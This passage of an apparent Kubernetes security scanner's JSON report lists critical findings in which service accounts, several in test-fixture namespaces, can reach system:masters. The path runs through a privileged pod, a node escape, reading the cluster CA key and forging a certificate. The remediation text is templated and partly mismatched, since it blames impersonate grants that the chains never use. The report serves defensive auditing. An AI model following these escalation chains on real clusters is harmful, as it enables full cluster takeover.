the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "local-path-provisioner-service-account",
      "namespace": "local-path-storage"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/local-path-storage/local-path-provisioner-service-account` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/local-path-storage/local-path-provisioner-service-account`.",
      "Acting as `ServiceAccount/local-path-storage/local-path-provisioner-service-account`, the attacker uses the `pod_create_privileged_escape` technique via `create pods (Pod Security Admission does not block privileged)`, which gains can create a privileged pod that escapes to the node.",
      "Acting as `ServiceAccount/local-path-storage/local-path-provisioner-service-account`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_privileged_escape [create pods (Pod Security Admission does not block privileged)]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "pod_create_privileged_escape",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "pod_create_privileged_escape",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `create pods (Pod Security Admission does not block privileged)` that enables the first hop (`ServiceAccount/local-path-storage/local-path-provisioner-service-account` → `/`). Evaluated cut: removing this subject from the `local-path-provisioner-bind` binding that grants hop 1. A route to the same sink survives that cut.",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `create pods (Pod Security Admission does not block privileged)` that enables the first hop (`ServiceAccount/local-path-storage/local-path-provisioner-service-account` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_privileged_escape",
        "technique": "KUBE-PRIVESC-002",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "local-path-provisioner-service-account",
          "namespace": "local-path-storage"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create pods (Pod Security Admission does not block privileged)",
        "gains": "can create a privileged pod that escapes to the node",
        "source_binding": "local-path-provisioner-bind",
        "source_role": "local-path-provisioner-role",
        "binding_namespace": "local-path-storage"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "local-path-provisioner-service-account",
          "namespace": "local-path-storage"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "alternate_escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "local-path-provisioner-service-account",
          "namespace": "local-path-storage"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod local-path-storage/local-path-provisioner-67b8995b4b-49fft falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "local-path-provisioner-service-account",
          "namespace": "local-path-storage"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters",
      "privesc:survives-first-cut"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/map-fixtures/sa-mutating-policy:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "CRITICAL",
    "score": 8.799999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/map-fixtures/sa-mutating-policy` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/map-fixtures/sa-mutating-policy` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/map-fixtures/sa-mutating-policy` → `/` via `mutating_policy_inject` (create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings): can author and bind a MutatingAdmissionPolicy that injects a privileged/hostPath pod at admission time\n  2. `ServiceAccount/map-fixtures/sa-mutating-policy` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-mutating-policy",
      "namespace": "map-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/map-fixtures/sa-mutating-policy` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/map-fixtures/sa-mutating-policy`.",
      "Acting as `ServiceAccount/map-fixtures/sa-mutating-policy`, the attacker uses the `mutating_policy_inject` technique via `create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings`, which gains can author and bind a MutatingAdmissionPolicy that injects a privileged/hostPath pod at admission time.",
      "Acting as `ServiceAccount/map-fixtures/sa-mutating-policy`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. mutating_policy_inject [create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "mutating_policy_inject",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "mutating_policy_inject",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings` that enables the first hop (`ServiceAccount/map-fixtures/sa-mutating-policy` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings` that enables the first hop (`ServiceAccount/map-fixtures/sa-mutating-policy` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "mutating_policy_inject",
        "technique": "KUBE-PRIVESC-019",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-mutating-policy",
          "namespace": "map-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings",
        "gains": "can author and bind a MutatingAdmissionPolicy that injects a privileged/hostPath pod at admission time"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-mutating-policy",
          "namespace": "map-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/privesc-fixtures/sa-pod-create-escape:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "CRITICAL",
    "score": 8.799999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-pod-create-escape` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-pod-create-escape` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `/` via `pod_create_privileged_escape` (create pods (Pod Security Admission does not block privileged)): can create a privileged pod that escapes to the node\n  2. `ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create-escape",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/privesc-fixtures/sa-pod-create-escape`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-pod-create-escape`, the attacker uses the `pod_create_privileged_escape` technique via `create pods (Pod Security Admission does not block privileged)`, which gains can create a privileged pod that escapes to the node.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-pod-create-escape`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_privileged_escape [create pods (Pod Security Admission does not block privileged)]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "pod_create_privileged_escape",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "pod_create_privileged_escape",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `create pods (Pod Security Admission does not block privileged)` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `create pods (Pod Security Admission does not block privileged)` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_privileged_escape",
        "technique": "KUBE-PRIVESC-002",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create-escape",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create pods (Pod Security Admission does not block privileged)",
        "gains": "can create a privileged pod that escapes to the node",
        "source_binding": "rb-pod-create-escape",
        "source_role": "r-pod-create-escape",
        "binding_namespace": "privesc-fixtures"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create-escape",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/psa-suppressed/default:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "CRITICAL",
    "score": 8.799999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/psa-suppressed/default` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/psa-suppressed/default` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/psa-suppressed/default` → `/` via `pod_host_escape` (privileged): runs in pod psa-suppressed/psa-priv-app-54c64bdd84-4nkmq with privileged\n  2. `ServiceAccount/psa-suppressed/default` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "psa-suppressed"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/psa-suppressed/default` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/psa-suppressed/default`.",
      "Acting as `ServiceAccount/psa-suppressed/default`, the attacker schedules a pod with host-level access (`privileged: true`, `hostPath: /`, `hostPID`, or `hostNetwork`) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.",
      "Acting as `ServiceAccount/psa-suppressed/default`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_host_escape [privileged]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "pod_host_escape",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "pod_host_escape",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `privileged` that enables the first hop (`ServiceAccount/psa-suppressed/default` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `privileged` that enables the first hop (`ServiceAccount/psa-suppressed/default` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_host_escape",
        "technique": "KUBE-ESCAPE",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "psa-suppressed"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "privileged",
        "gains": "runs in pod psa-suppressed/psa-priv-app-54c64bdd84-4nkmq with privileged"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "psa-suppressed"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "CRITICAL",
    "score": 8.799999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
